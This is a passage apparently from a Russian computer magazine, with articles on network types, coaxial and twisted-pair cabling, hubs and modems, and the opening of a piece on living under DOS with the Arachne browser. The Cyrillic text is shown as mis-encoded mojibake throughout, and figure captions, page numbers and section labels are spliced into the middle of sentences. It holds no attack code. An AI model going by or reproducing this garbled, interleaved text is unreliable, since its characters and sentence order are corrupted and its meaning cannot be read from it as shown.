ïîñòðîåíèÿ, ò.å. íåêîòîðîãî<br />
øàáëîíà, èñõîäÿ èç êîòîðîãî<br />
îïðåäåëÿåòñÿ ñòðóêòóðà ñèñòåìû.<br />
Ñàìûé ïðèìèòèâíûé âàðèàíò<br />
– ñîåäèíåíèå äâóõ êîìïüþòåðîâ<br />
÷åðåç ïîñëåäîâàòåëüíûé<br />
èíòåðôåéñ ïðè ïîìîùè êàáåëÿ<br />
íóëü-ìîäåìà. Ýòèì êàáåëåì,<br />
êñòàòè, ìîæíî ñîåäèíÿòü êîìïüþòåðû<br />
íà ðàññòîÿíèè äî 100 ìåòðîâ<br />
- òàêîâà ñïåöèôèêà ïîñëåäîâàòåëüíîãî<br />
èíòåðôåéñà.<br />
Îäíîðàíãîâàÿ ñåòü ìîæåò ñîñòîÿòü<br />
èç ìíîæåñòâà ðàâíîïðàâíûõ<br />
è ðàâíîôóíêöèîíàëüíûõ êîìïüþòåðîâ.<br />
Äëÿ ñîçäàíèÿ òàêîé ñåòè â<br />
êàæäîì èç êîìïüþòåðîâ îáÿçàòåëüíî<br />
äîëæíà ïðèñóòñòâîâàòü<br />
ñåòåâàÿ êàðòà è âñå ìàøèíû<br />
äîëæíû áûòü ñîåäèíåíû â îäíó<br />
ñèñòåìó êàáåëÿìè ñâÿçè. Ñåòü<br />
òèïà “êëèåíò-ñåðâåð” ñîñòîèò èç<br />
ðàáî÷èõ ñòàíöèé è îäíîãî ìîùíîãî<br />
ñåðâåðà, îñíàùåííîãî áîëüøèì<br />
õàðäîì, ìîùíûì ïðîöåññîðîì,<br />
êó÷åé ïàìÿòè è äîðîãîé ïåðèôåðèåé.<br />
Ðàáî÷èå ñòàíöèè –<br />
îáû÷íî ñëàáåíüêèå ìàøèíêè,<br />
÷àñòî áåç ñîáñòâåííûõ æåñòêèõ<br />
äèñêîâ, ðàáîòàþò ñ èíôîðìàöèåé,<br />
ðàçìåùåííîé íà ãîëîâíîì<br />
ñåðâåðå. Êñòàòè, íå äóìàé, ÷òî<br />
ñåòåé “êëèåíò-ñåðâåð” óæå ïî÷òè<br />
íåò, ýòî îøèáî÷íîå ìíåíèå. Â<br />
òîì èëè èíîì âèäå îíè èñïîëüçóþòñÿ<br />
âî ìíîæåñòâå îðãàíèçàöèé.<br />
Ñòîèò çàìåòèòü, ÷òî òàêîå äåëåíèå<br />
ñåòåé íå óêàçûâàåò íà ñïîñîá<br />
ñâÿçè êîìïüþòåðîâ – ýòî ìîæåò<br />
áûòü è âèòàÿ ïàðà, è êîàêñèàë, è<br />
íóëü-ìîäåìíûé êàáåëü, äà è, â<br />
îáùåì ñëó÷àå, ðàäèîêàíàë, ñâåòîâîä<br />
èëè ñïóòíèêîâàÿ òàðåëêà.<br />
 ÑÅÒßÕ!<br />
ÑÅÒÈ È ÈÕ<br />
ÊËÀÑÑÈÔÈÊÀÖÈß<br />
Êîìïüþòåðíûå ñåòè ïðèíÿòî äåëèòü<br />
ïî ïðèçíàêó îõâàòûâàåìîé<br />
èìè òåððèòîðèè íà 4 òèïà. LAN –<br />
Local Area Network – ïðåäñòàâëÿåò<br />
ñîáîé ñèñòåìó èç äâóõ èëè áîëåå<br />
ìàøèí, ñëîâî “local” óêàçûâàåò<br />
íà òî, ÷òî êîìïüþòåðû ýòè<br />
ðàñïîëîæåíû íåäàëåêî äðóã îò<br />
äðóãà, êàê ïðàâèëî – â îäíîì èëè<br />
ñîñåäíèõ çäàíèÿõ. MAN –<br />
Metropolitan Area Network – ñåòü,<br />
ñîåäèíÿþùàÿ êîìïüþòåðû â ïðåäåëàõ<br />
îäíîãî îòäåëüíî âçÿòîãî<br />
ãîðîäà. WAN – Wide Area Network<br />
– îáúåäèíÿåò êîìïüþòåðû îäíîé<br />
èëè íåñêîëüêèõ ñòðàí. Íó è íàêîíåö<br />
GAN – Global Area Network –<br />
ñîåäèíÿåò ìàøèíû íà ðàçíûõ<br />
êîíòèíåíòàõ.<br />
Ñëåäóåò çàìåòèòü, ÷òî, êàê ïðàâèëî,<br />
òèïû ñåòåé ÿâëÿþòñÿ âëîæåííûìè<br />
îáúåêòàìè, ò.å. ñåòü<br />
òèïà GAN ñîñòîèò èç íåñêîëüêèõ<br />
WAN-ñåòåé, êîòîðûå, â ñâîþ î÷åðåäü,<br />
ñîñòîÿò èç ìíîæåñòâà<br />
MAN-ñåòåé è ò.ä. Àòîìàðíîé åäèíèöåé<br />
ëþáîé ñåòè, âïðî÷åì, ÿâëÿåòñÿ<br />
óíèêàëüíûé êîìïüþòåð.<br />
Ðàçúåìû êàáåëÿ<br />
äëÿ ïîäêëþ÷åíèÿ<br />
ê com-ïîðòó<br />
Íå ñëåäóåò æåñòêî ñâÿçûâàòü<br />
ðàíã ñåòè ñ êîëè÷åñòâîì ïîäêëþ-<br />
÷åííûõ ê íåé êîìïüþòåðîâ. Òàê,<br />
íàïðèìåð, øåñòåðî äðóçåé íà<br />
ðàçëè÷íûõ êîíòèíåíòàõ ìîãóò<br />
çàïðîñòî ñôîðìèðîâàòü ãëîáàëüíóþ<br />
ñåòü, äîçâîíèâøèñü íà îäèí<br />
ïóë ìîäåìíîãî ïðîâàéäåðà ãäåíèáóäü<br />
â ÑØÀ. À ÷òî – âñå âåðíî,<br />
êîìïüþòåðû íàõîäÿòñÿ íà ðàçíûõ<br />
êîíòèíåíòàõ è ñâÿçàíû ìåæäó ñîáîé<br />
èíôîðìàöèîííûì ïðîñòðàíñòâîì.<br />
Ýòî ëîãè÷åñêîå äåëåíèå<br />
ñåòåé íèêîèì îáðàçîì íå óêàçûâàåò<br />
íà èñïîëüçóåìûå ïðè ñîåäèíåíèè<br />
ìàøèí òåõíîëîãèè. Ëîãè÷íî<br />
â ýòîé ñèòóàöèè ïðåäïîëîæèòü,<br />
÷òî ÷åì áîëüøóþ òåððèòîðèþ<br />
îõâàòûâàåò ñåòü, òåì áîëüøèå<br />
ðàññòîÿíèÿ ïðèõîäèòñÿ ïîêðûâàòü<br />
ïåðåäàâàåìîé èíôîðìàöèè<br />
è, î÷åâèäíî, òåì áîëüøàÿ<br />
ïðîïóñêíàÿ ñïîñîáíîñòü íåîáõîäèìà.<br />
Ýòî íàõîäèò îòðàæåíèå â<br />
èñïîëüçóåìûõ òåõíîëîãèÿõ. Òàê,<br />
â LAN-ñåòÿõ îáû÷íî ïðèìåðÿåòñÿ<br />
òåõíîëîãèÿ Ethernet, â îñòàëüíûõ<br />
– áîëåå ìàñøòàáíûõ – îáû÷íî<br />
èñïîëüçóþòñÿ òåõíîëîãèè áåñïðîâîäíîé<br />
è îïòè÷åñêîé ñâÿçè.<br />
Èíòåðôåéñ äëÿ<br />
ïîäêëþ÷åíèÿ ê<br />
ìàòåðèíñêîé ïëàòå<br />
Ñom 2 com êàáåëü<br />
1 2 3 4<br />
20 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
ÊÎÀÊÑÈÀËÜÍÛÉ<br />
ÊÀÁÅËÜ<br />
Äåñÿòêè ëåò íàçàä ÷ðåçâû÷àéíî ïîïóëÿðíûì<br />
áûë êîàêñèàëüíûé êàáåëü<br />
– îí âïîëíå óñòðàèâàë ïî ïðîïóñêíîé<br />
ñïîñîáíîñòè, áûë äåøåâ è<br />
äîñòóïåí. Îí ñîñòîèò èç öåíòðàëüíîãî<br />
ïðîâîäíèêà (îäíîæèëüíîãî<br />
èëè ìíîãîæèëüíîãî), îêðóæåííîãî<br />
èçîëèðóþùèì ìàòåðèàëîì, íà êîòîðûé<br />
íàòÿíóòà ýêðàíèðóþùàÿ îïëåòêà<br />
èç ìåäè èëè àëþìèíèÿ.<br />
Ñâåðõó êàáåëü ïîêðûò ñëîåì óñòîé-<br />
÷èâîé ê âíåøíèì âîçäåéñòâèÿì<br />
èçîëèðóþùåé îáîëî÷êè.<br />
Áëàãîäàðÿ îïëåòêå, ïðåêðàñíî çàùèùàþùåé<br />
ñèãíàë, èäóùèé ïî<br />
öåíòðàëüíîìó ïðîâîäíèêó, îò âíåøíèõ<br />
ýëåêòðîìàãíèòíûõ ïîëåé, ñ ïîìîùüþ<br />
òàêîãî êàáåëÿ ìîæíî ñîåäèíÿòü<br />
îáúåêòû, íàõîäÿùèåñÿ íà çíà-<br />
ÈÑÒÎÐÈ×ÅÑÊÀß<br />
ÑÏÐÀÂÊÀ<br />
Ïåðâîíà÷àëüíàÿ âåðñèÿ òåõíîëîãèè<br />
Ethernet áûëà ðàçðàáîòàíà â<br />
70-õ ãîäàõ ôèðìîé Õerox.  íà÷àëå<br />
80-õ ôèðìû DEC, Intel è Xerox íàïèñàëè<br />
òåõíè÷åñêóþ ñïåöèôèêàöèþ<br />
ýòîãî ñòàíäàðòà, èíîãäà íàçûâàåìîãî<br />
ñòàíäàðòîì DIX (ïî ïåðâûì<br />
áóêâàì íàçâàíèé ôèðì).<br />
ROM ñåòåâóõè<br />
Ïðîöåññîð ñåòåâîãî<br />
àäàïòåðà<br />
÷èòåëüíîì ðàññòîÿíèè äðóã îò äðóãà<br />
(íåñêîëüêî êèëîìåòðîâ). Ñêîðîñòü<br />
ïåðåäà÷è äàííûõ îáû÷íî íå<br />
ïðåâîñõîäèò 7 ìåãàáèò â ñåêóíäó,<br />
õîòÿ, ñîãëàñíî ñïåöèôèêàöèè, êàáåëü<br />
äîëæåí ïåðåäàâàòü äàííûå íà<br />
ñêîðîñòè 10 Ìáèò/ñ. Ýòîò êàáåëü<br />
èñïîëüçóåòñÿ â îñíîâíîì â<br />
Ethernet-ñåòÿõ, ïîýòîìó åãî èíîãäà<br />
íàçûâàþò Ethernet-êàáåëåì. Îñíîâíàÿ<br />
õàðàêòåðèñòèêà êîàêñèàëà –<br />
âîëíîâîå ñîïðîòèâëåíèå (îòíîøåíèå<br />
íàïðÿæåíèÿ ê ñèëå òîêà â äàííîì<br />
ñå÷åíèè ïåðåäàþùåãî êàáåëÿ).<br />
Èçìåðèòü ýòó âåëè÷èíó äëÿ êîíêðåòíîãî<br />
êàáåëÿ âîçìîæíî, òîëüêî<br />
îáëàäàÿ äîâîëüíî äîðîãèì óñòðîéñòâîì,<br />
ïîýòîìó ïðè ïîêóïêå êàáåëÿ,<br />
÷òîáû èçáåæàòü ïðîáëåì, íàäî ïîñìîòðåòü<br />
ìàðêèðîâêó íà âíåøíåé<br />
îáîëî÷êå ïðîâîäà – äëÿ ñåòåé<br />
Ethernet ñòàíäàðòíàÿ âåëè÷èíà ýòîãî<br />
ïàðàìåòðà ðàâíà 50 Îìàì.<br />
Ñòàðàÿ 16-òè<br />
ðàçðÿäíàÿ êàðòà<br />
Èíòåðôåéñ<br />
ïîäêëþ÷åíèÿ ê 16-òè<br />
ðàçðÿäíîé øèíå ISA<br />
Ñóùåñòâóþò äâà òèïà êîàêñèàëüíîãî<br />
êàáåëÿ – “òîíêèé” è “òîëñòûé”.<br />
Äèàìåòð ïåðâîãî ñîñòàâëÿåò 0.2”,<br />
âòîðîãî â äâà ðàçà áîëüøå.<br />
Ïîä òîíêèì êîàêñèàëîì îáû÷íî ïîíèìàþò<br />
êàáåëü RG-58, îäíàêî äîñòîâåðíî<br />
èçâåñòíî, ÷òî åãî çàïðîñòî<br />
ìîæíî çàìåíèòü áîëåå äåøåâûì è<br />
êà÷åñòâåííûì ñîâåòñêèì (îí åùå<br />
ïî ÃÎÑÒàì ÑÑÑÐ ïðîèçâîäèëñÿ!)<br />
àíàëîãîì – ÐÊ-50. Äëèíà ñåãìåíòà<br />
ïðè èñïîëüçîâàíèè ýòîãî êàáåëÿ íå<br />
äîëæíà ïðåâûøàòü 185 ìåòðîâ, ïðè<br />
èñïîëüçîâàíèè ñïåöèàëüíîãî îáîðóäîâàíèÿ<br />
– ðåïèòåðîâ – åãî äëèíà<br />
ìîæåò ïðåâîñõîäèòü 900 ìåòðîâ.<br />
Äëÿ ïîäêëþ÷åíèÿ êàáåëÿ ê ñåòåâîé<br />
êàðòå èñïîëüçóþòñÿ ò.í. BNC-êîííåêòîðû.<br />
Ñ èõ ïîìîùüþ êàáåëü<br />
ïîäêëþ÷àåòñÿ ñ äâóõ ñòîðîí ê T-êîííåêòîðó,<br />
êîòîðûé, â ñâîþ î÷åðåäü,<br />
Ðàçúåì äëÿ ïîäêëþ÷åíèÿ<br />
êîàêñèàëüíîãî êàáåëÿ<br />
Èíâåðòîðû ñèãíàëà<br />
Ìèêðîñõåìà ïàìÿòè<br />
ïîäêëþ÷àåòñÿ óæå ê ñåòåâîé êàðòå.<br />
“Òîëñòûé” - èëè êàê åãî åùå íàçûâàþò<br />
çà òðàäèöèîííûé öâåò âíåøíåé<br />
èçîëÿöèè – “æåëòûé” êîàêñèàë<br />
çíà÷èòåëüíî ïðåâîñõîäèò “òîíêèé”<br />
íå òîëüêî ïî äèàìåòðó è ñòîèìîñòè,<br />
íî è ïî ïîìåõîóñòîé÷èâîñòè, âñëåäñòâèå<br />
÷åãî ìàêñèìàëüíàÿ äëèíà îäíîãî<br />
ñåãìåíòà ñîñòàâëÿåò ïîëêèëîìåòðà,<br />
ïðè èñïîëüçîâàíèè ðåïèòåðîâ<br />
ìîæíî ñîåäèíèòü îáúåêòû íà<br />
ðàññòîÿíèè äî 2,5 êì. Äëÿ ïîäêëþ-<br />
÷åíèÿ òàêîãî êàáåëÿ ê êîìïüþòåðó<br />
èñïîëüçóåòñÿ ñïåöèàëüíîå óñòðîéñòâî,<br />
íàçûâàåìîå òðàíñèâåðîì.<br />
Òðàíñèâåð ñ îäíîé ñòîðîíû ïîäêëþ÷àåòñÿ<br />
ê êîàêñèàëó, à ñ äðóãîé<br />
ïðè ïîìîùè ñïåöèàëüíîãî êàáåëÿ -<br />
ê ñåòåâîé êàðòå. Äëèíà òàêîãî êàáåëÿ<br />
ìîæåò äîñòèãàòü 50 ìåòðîâ, íà<br />
îáîèõ åãî êîíöàõ íàõîäÿòñÿ 15-êîíòàêòíûå<br />
DIX-ðàçúåìû.<br />
Ðàçúåì äëÿ<br />
ïîäêëþ÷åíèÿ<br />
êîííåêòîðà RJ45<br />
5 6 7 8 9<br />
Þíèêñîèä X-Còèëü Êîäèíã Þíèòû Quit> 21
22<br />
ÌÛ Â ÑÅÒßÕ!<br />
INSIDE<br />
Íèêèòà «Nikitos» Êèñëèöèí<br />
(nikitoz@real.xakep.ru), http://nikitos.inc.ru<br />
ÂÈÒÀß ÏÀÐÀ<br />
 äåâÿíîñòûõ ãîäàõ îñîáåííóþ ïîïóëÿðíîñòü<br />
ïðèîáðåë êàáåëü, íàçûâàåìîé<br />
“âèòîé ïàðîé”. Âèòàÿ<br />
ïàðà ïðåäñòàâëÿåò ñîáîé äâà èçîëèðîâàííûõ<br />
ñêðó÷åííûõ ìåæäó ñîáîé<br />
(îò 4 äî 6 âèòêîâ íà äþéì)<br />
ìåäíûõ ïðîâîäà, îäèí èç êîòîðûõ<br />
íàçûâàåòñÿ “Ring”, äðóãîé èìåíóåòñÿ<br />
“Tip”. Ðåàëüíûé êàáåëü, âïðî-<br />
÷åì, ñîñòîèò, êàê ïðàâèëî, èç ÷åòûðåõ<br />
ïàð, ò.å. âîñüìè æèë, ïîýòîìó<br />
âñå æèëû â êàáåëå ìîæíî íàçûâàòü<br />
ðèíãàìè è òèïàìè, ïðèáàâëÿÿ<br />
ñîîòâåòñòâóþùèé èíäåêñ ïàðû.<br />
Ò.å., íàïðèìåð, “Ring1”,<br />
“Tip1”,…,”Ring4”, “Tip4”.<br />
Êàæäàÿ ïàðà èìååò èçîëÿöèþ îïðåäåëåííîãî<br />
öâåòà:<br />
1: “ñèíèé” è “áåëûé-ñèíèé”;<br />
2: “îðàíæåâûé” è “áåëûé-îðàíæåâûé”;<br />
3: “çåëåíûé è áåëûé-çåëåíûé”;<br />
4: “êîðè÷íåâûé è áåëûé-êîðè÷íåâûé”.<br />
Èç ÷åòûðåõ ïàð, ïðèñóòñòâóþùèõ â<br />
êàáåëå, ôèçè÷åñêè èñïîëüçóþòñÿ<br />
ëèøü äâå – îäíà íà ïðèåì, äðóãàÿ<br />
íà ïåðåäà÷ó äàííûõ.<br />
Òàêæå êàáåëè ðàçëè÷àþò ïî êàòåãîðèÿì:<br />
1-ÿ èñïîëüçóåòñÿ äëÿ ïåðåäà÷è<br />
ðå÷è â òåëåôîííûõ ñåòÿõ;<br />
2-ÿ îáåñïå÷èâàåò ïåðåäà÷ó äàííûõ<br />
íà ñêîðîñòè äî 4 Ìáèò/ñåê;<br />
3-ÿ - 10 Ìáèò/ñåê (ñòàíäàðò<br />
10BASE-T);<br />
4-ÿ - 16 Ìáèò/ñåê (èñïîëüçóåòñÿ â<br />
ñåòÿõ Token Ring);<br />
5-ÿ - 100 Ìáèò/ñåê, èëè 1 Ãáèò/ñåê<br />
– ïðè èñïîëüçîâàíèè ñîâðåìåííî-<br />
Èíäèêàòîð<br />
ñâÿçè, “ëèíê”<br />
Ðàçúåì äëÿ<br />
ïîäêëþ÷åíèÿ<br />
êîííåêòîðà RJ45<br />
Íüþñû<br />
ãî è äîðîãîãî îáîðóäîâàíèÿ;<br />
6-ÿ êàòåãîðèÿ ñïåöèôèöèðîâàíà<br />
äëÿ ÷àñòîòû â 600 ÌÃö, ñêîðîñòè<br />
ïåðåäà÷è äàííûõ àíàëîãè÷íû 5-é<br />
êàòåãîðèè.<br />
Âèòàÿ ïàðà áûâàåò ýêðàíèðîâàííîé<br />
(STP) è íåýêðàíèðîâàííîé<br />
(UTP), îòëè÷èòü îäèí êàáåëü îò<br />
äðóãîãî ìîæíî ïî åãî ìàðêèðîâêå<br />
– “CATEGORY 5+ STP …” – ÿâíûé<br />
ïðèçíàê ýêðàíèðîâàííîãî êàáåëÿ.<br />
Ïîäêëþ÷åíèå âèòîé ïàðû ê ñåòåâîìó<br />
àäàïòåðó îáû÷íî íå âûçûâàåò<br />
çàòðóäíåíèé – èñïîëüçóåòñÿ<br />
ðàçúåì RJ-45, êîòîðûì ïðè íàëè-<br />
÷èè ñïåöèàëüíîãî óñòðîéñòâà ëåãêî<br />
îáæèìàåòñÿ êàáåëü. Ê ñëîâó,<br />
îáæèìàòü íàäî íå êàê ïîïàëî, à<br />
÷åòêî ñîáëþäàÿ ñõåìû îáæèìà,<br />
óêàçàííûå â ñïåöèôèêàöèè ýòîé<br />
òåõíîëîãèè. Ïðîöåññ îáæàòèÿ ïðîâîäà<br />
îòëè÷íî îñâåùåí è ïðîèëëþñòðèðîâàí<br />
íà<br />
http://www.ixbt.com/comm/lan_faq.<br />
html.<br />
Ê ñîæàëåíèþ, âèòàÿ ïàðà îáåñïå-<br />
÷èâàåò ñâÿçü ëèøü ïðè äëèíå ñåãìåíòà<br />
ÕÀÁÛ<br />
ÌÎÄÅÌÛ<br />
Ïåðåêëþ÷àòåëü<br />
ðåæèìà ðàáîòû õàáà<br />
Äëÿ ñîåäèíåíèÿ íåñêîëüêèõ êîìïüþòåðîâ â<br />
ñåòü íà áàçå âèòîé ïàðû èñïîëüçóþòñÿ ñïåöèàëüíûå<br />
óñòðîéñòâà – õàáû. Îíè îáúåäèíÿþò<br />
â åäèíîå èíôîðìàöèîííîå ïðîñòðàíñòâî<br />
íåñêîëüêî êàíàëîâ ñâÿçè. Õàá ïðåäñòàâëÿåò<br />
ñîáîé îáûêíîâåííóþ ìèêðîñõåìó ñ íàïàÿííûìè<br />
íà íåé ýëåìåíòàìè – êîííåêòîðàìè,<br />
èíâåðòîðàìè íàïðÿæåíèÿ, ïðîöåññîðîì è<br />
ROM. Èíâåðòîð íàïðÿæåíèÿ ïðîèçâîäèò<br />
ïåðâè÷íóþ îáðàáîòêó ïîñòóïàþùåãî ñèãíàëà,<br />
ðàññìàòðèâàÿ åãî íå â âûñîêîóðîâíåâîì<br />
ëîãè÷åñêîì ïðåäñòàâëåíèè, à â âèäå îáûêíîâåííîãî<br />
àíàëîãîâîãî ñèãíàëà. Ïðîöåññîð,<br />
ñëåäóÿ îïðåäåëåííîìó â ROM àëãîðèòìó,<br />
îáðàáàòûâàåò íåêîòîðûì îáðàçîì ñèãíàë è<br />
ïîñûëàåò åãî åùå îäíîìó èíâåðòîðó, êîòîðûé<br />
óæå, ìîäèôèöèðîâàâ ñèãíàë, ðàññûëàåò<br />
åãî ïî êàæäîìó èç êîííåêòîðîâ. Õàá ÿâëÿåòñÿ<br />
öåíòðàëüíûì óñòðîéñòâîì ñåòè, è îò íåãî<br />
íàïðÿìóþ çàâèñèò åå ðàáîòîñïîñîáíîñòü.<br />
Õàáû ðàçëè÷àþò ïî êîëè÷åñòâó ïîðòîâ – êàê<br />
ïðàâèëî, ýòî 5, 8, 12, 16 è ñêîðîñòÿì ïåðåäà÷è<br />
äàííûõ – îò 10 äî 1000 Ìáèò/ñ.<br />
Õàáû ìîæíî îáúåäèíÿòü ìåæäó ñîáîé, ïîëó-<br />
÷àÿ ñëîæíûå êàñêàäíûå ñòðóêòóðû, îäíàêî<br />
ñëåäóåò ïîìíèòü - íåæåëàòåëüíî, ÷òîáû<br />
ìåæäó ëþáûìè äâóìÿ êîìïüþòåðàìè áûëî<br />
áîëåå ïÿòè õàáîâ – ýòî çäîðîâî çàìåäëèò<br />
ðàáîòó. Ìíîãèå õàáû èìåþò ðàçúåìû äëÿ<br />
ïîäêëþ÷åíèÿ êîàêñèàëüíîãî êàáåëÿ, ÷òî ïîçâîëÿåò<br />
îáúåäèíÿòü ñåòè, ïîñòðîåííûå íà<br />
ðàçíûõ òåõíîëîãèÿõ.<br />
Íåðåäêî âñòðå÷àþòñÿ ò.í. ñâèò÷è – âêðàòöå<br />
èõ ìîæíî îõàðàêòåðèçîâàòü êàê “óìíûå õàáû”.<br />
Äåéñòâèòåëüíî, âîçìîæíîñòè, êîòîðûå<br />
ïðåäîñòàâëÿþò ñàìûå äîðîãèå ìîäåëè,<br />
ïðåâîñõîäÿò îæèäàíèÿ íåïîñâÿùåííîãî<br />
÷åëîâåêà. Ýòî è óäàëåííîå àäìèíèñòðèðîâàíèå,<br />
è ïðèâÿçêà êàæäîãî ãíåçäà ê êîíêðåòíîìó<br />
MAC-àäðåñó, è, â êîíöå êîíöîâ,<br />
ìíîæåñòâî çàäà÷, êîòîðûå ìîæíî ýôôåêòèâíî<br />
ðåøèòü, íàïèñàâ íà ñïåöèàëüíîì<br />
ÿçûêå ñöåíàðèé äëÿ ðàáîòû ñâèò÷à.<br />
Âîîáùå, ìîäåìîì íàçûâàþò óñòðîéñòâî, ïîçâîëÿþùåå<br />
îñóùåñòâëÿòü îáìåí èíôîðìàöèåé<br />
ìåæäó öèôðîâûìè óñòðîéñòâàìè (PC, íàïðèìåð)<br />
÷åðåç àíàëîãîâûå êàíàëû ñâÿçè (êàê âàðèàíò<br />
– òåëåôîííûå ñåòè). Ñëîâî “ÌÎÄÅÌ” îáðàçîâàíî<br />
îò “ÌÎäóëÿòîð-ÄÅÌîäóëÿòîð”.<br />
Ìîäåì ñîñòîèò èç:<br />
1) Àäàïòåðîâ ïîðòîâ, îñóùåñòâëÿþùèõ<br />
òðàíñôåð èíôîðìàöèè ìåæäó ìîäåìîì è<br />
òåëåôîííîé ëèíèåé, à òàêæå ìåæäó ìîäåìîì<br />
è êîìïüþòåðîì.<br />
2) Ñèãíàëüíîãî ïðîöåññîðà (DSP), îáåñïå-<br />
÷èâàþùåãî ìîäóëÿöèþ-äåìîäóëÿöèþ ñèãíàëà<br />
è ïîääåðæèâàþùåãî íåêîòîðûå ïðîòîêîëû<br />
ïåðåäà÷è äàííûõ.<br />
Ðàçúåì äëÿ<br />
ïîäêëþ÷åíèÿ<br />
ïèòàíèÿ<br />
Èíäèêàòîð ïèòàíèÿ<br />
Èíòåðôåéñ äëÿ<br />
ñîåäèíåíèÿ ñ<br />
êîàêñèàëüíûì<br />
êàáåëåì<br />
3) Êîíòðîëëåðà, îñóùåñòâëÿþùåãî óïðàâëåíèå<br />
ïðîöåññîðîì, îáðàáîòêó êîìàíä è<br />
ðàáîòó ñ äàííûìè.<br />
4) ROM, â êîòîðîé íàõîäèòñÿ ïðîãðàììà<br />
óïðàâëåíèÿ ìîäåìîì è íåêîòîðûå òðàíñïîðòíûå<br />
ïðîòîêîëû.<br />
5) ERPROM, ò.å. ýíåðãîíåçàâèñèìîé ïåðåïðîøèâàåìîé<br />
ïàìÿòè, â êîòîðîé ñîõðàíÿþòñÿ<br />
óñòàíîâêè ìîäåìà ïåðåä åãî âûêëþ÷åíèåì.<br />
6) Ìèêðîñõåì ROM, ò.å. îïåðàòèâíîé ïàìÿòè<br />
óñòðîéñòâà.<br />
Ìîäåìû, êàê èçâåñòíî, áûâàþò âíóòðåííèå è<br />
âíåøíèå. Îäíàêî ðàçíèöà â èõ ñòðîåíèè ñâîäèòñÿ<br />
ê òîìó, ÷òî îäíè ìîíòèðóþòñÿ âíóòðè êîðïóñà,<br />
à äðóãèå ðàñïîëàãàþòñÿ ñíàðóæè êîìïüþòåðà.<br />
Ïîýòîìó ðàññìàòðèâàòü îòäåëüíî ýòè äâà âà-<br />
Èíäèêàòîð<br />
êîëëèçèé â ñåòè<br />
Îáæàòûé è<br />
ïîäêëþ÷åííûé ê õàáó<br />
êàáåëü âèòîé ïàðû<br />
ðèàíòà ñóùåñòâîâàíèÿ ìîäåìîâ áåññìûñëåííî.<br />
Äîâîëüíî ïîïóëÿðíû (ïðåæäå âñåãî, èç-çà<br />
ñâîåé äåøåâèçíû) â íàñòîÿùåå âðåìÿ ò.í.<br />
“ñîôòìîäåìû”. Òàêèì òåðìèíîì ïðèíÿòî íàçûâàòü<br />
óñòðîéñòâà, ÷àñòü ôóíêöèé êîòîðûõ ëåæèò<br />
íà ïðîãðàììå, óñòàíîâëåííîé íà PC. Ýòè<br />
ìîäåìû, êàê ïðàâèëî, íå èìåÿ ñîáñòâåííîãî<br />
ïîëíîöåííîãî ïðîöåññîðà, ïåðåêëàäûâàþò<br />
ôóíêöèè ïî ìîäóëÿöèè è äåìîäóëÿöèè ñèãíàëà<br />
íà CPU, ÷òî, êîíå÷íî æå, ñíèæàåò ïðîèçâîäèòåëüíîñòü<br />
ñèñòåìû. Ýòè ìîäåìû ïðèâÿçàíû<br />
ê ÎÑ, ïîä êîòîðóþ îíè ñîçäàâàëèñü, ïî ýòîé<br />
ïðè÷èíå èõ ÷àñòî âåëè÷àþò “âèíìîäåìàìè”,<br />
ïîòîìó êàê íàñòðîèòü èõ ïîä Þíèêñ ñòàíîâèòñÿ<br />
ïðàêòè÷åñêè íåðàçðåøèìîé çàäà÷åé. Åñòü,<br />
êîíå÷íî, ñïåöèàëüíûå äðàéâåðà, íî ïîä<br />
OpenBSD ìíå íè÷åãî íå ïîìîãëî :).<br />
5 6 7 8 9<br />
Þíèêñîèä Êîäèíã Þíèòû Quit> 23<br />
Ëèíêè<br />
Íåçàíÿòûå<br />
ãíåçäà
PC_Zone<br />
ÅÑÒÜ ËÈ ÆÈÇÍÜ ÏÎÄ ÄÎÑÎÌ ?..<br />
Âëàäèìèð<br />
ÑÀÌ ÑÅÁÅ<br />
Ãóñåâ<br />
ÈÌÈÒÀÒÎÐ<br />
(vova1971@nm.ru)<br />
ÆÈÇÍÜ ÏÎÄ<br />
<br />
ß îïóùó îïèñàíèå óñòàíîâêè ÷èñòîãî DOS’à, òàê êàê â<br />
èíåòå èõ âåëèêîå ìíîæåñòâî, è êàæäûé, êòî õîòü ðàç çàãðóæàëñÿ<br />
ñ àâàðèéíîé äèñêåòêè, êîãäà ó ëþáèìîé Âèíäû<br />
âäðóã ïîðòèëîñü íàñòðîåíèå, ëåãêî ïîéìåò, ÷òî ê ÷åìó.<br />
Åñëè æå åñòü æåëàíèå ïðîñòî ïîýêñïåðèìåíòèðîâàòü, òî<br />
Windows 95/98 ñ ñåàíñîì MS-DOS ê òâîèì óñëóãàì.<br />
Äàâàé-êà ñðàçó ñîñòàâèì ñïèñîê íåîáõîäèìûõ äëÿ ðàáîòû<br />
(è íå òîëüêî:)) ïðîãðàìì. Íàâåðíÿêà â íåãî ïîïàäóò è<br />
áðàóçåð, è ïî÷òîâûé êëèåíò, ftp-êëèåíò, íåïðåìåííî -<br />
èíòåðíåò-ïåéäæåð òèïà àñüêè, êà÷àëêà. Íåëèøíèìè áóäóò<br />
òåêñòîâûé è ãðàôè÷åñêèé ðåäàêòîð. Õîðîøî áû åùå<br />
"ïîáàëîâàòü" ñåáÿ ìóçûêîé. "À ìîæåò è ôèëüìåö â<br />
mpeg4?" - ñ èðîíèåé ñïðîñèøü òû. Òàê è áûòü - âèäåîïëååð<br />
òîæå âîéäåò â íàøó "ìèíèìàëüíóþ ïðîäîâîëüñòâåííóþ<br />
êîðçèíó". Íå âåðèøü? Òîãäà ñëóøàé ìåíÿ âíèìàòåëüíî!<br />
Äåëî â òîì, ÷òî â ÄOCå äåéñòâèòåëüíî ìîæíî...<br />
<br />
Ïîëíîöåííûå ïðîãóëêè ïî Ñåòè íà òðåøêå? Ñ êàðòèíêàìè?<br />
Äà, åñëè â êà÷åñòâå "ïðîâîäíèêà" èñïîëüçîâàòü<br />
Arachne (http://arachne.browser.org)! Êñòàòè, ýòî íå ïðîñòî<br />
áðîäèëêà, à ñîëèäíûé ïàêåò êîììóíèêàöèîííûõ ïðîãðàìì<br />
- òóò òåáå è çâîíèëêà, è ïî÷òîâèê, è ñîáñòâåííûé Ðàáî÷èé<br />
ñòîë, è ôàéë-ìåíåäæåð (åñëè òû ïîäóìàë, ìîë, íà ôèãà<br />
åùå îäèí Ðàáî÷èé ñòîë - íàïîìíþ, ìû âåäü ñîáðàëèñü<br />
«æèòü» ïîä ×ÈÑÒÛÌ ÄÎÑîì). À ïî óìîë÷àíèþ «Êîðçèíîê»<br />
ñ «Ìîèìè Äîêóìåíòàìè» òàì íå íàáëþäàåòñÿ :).<br />
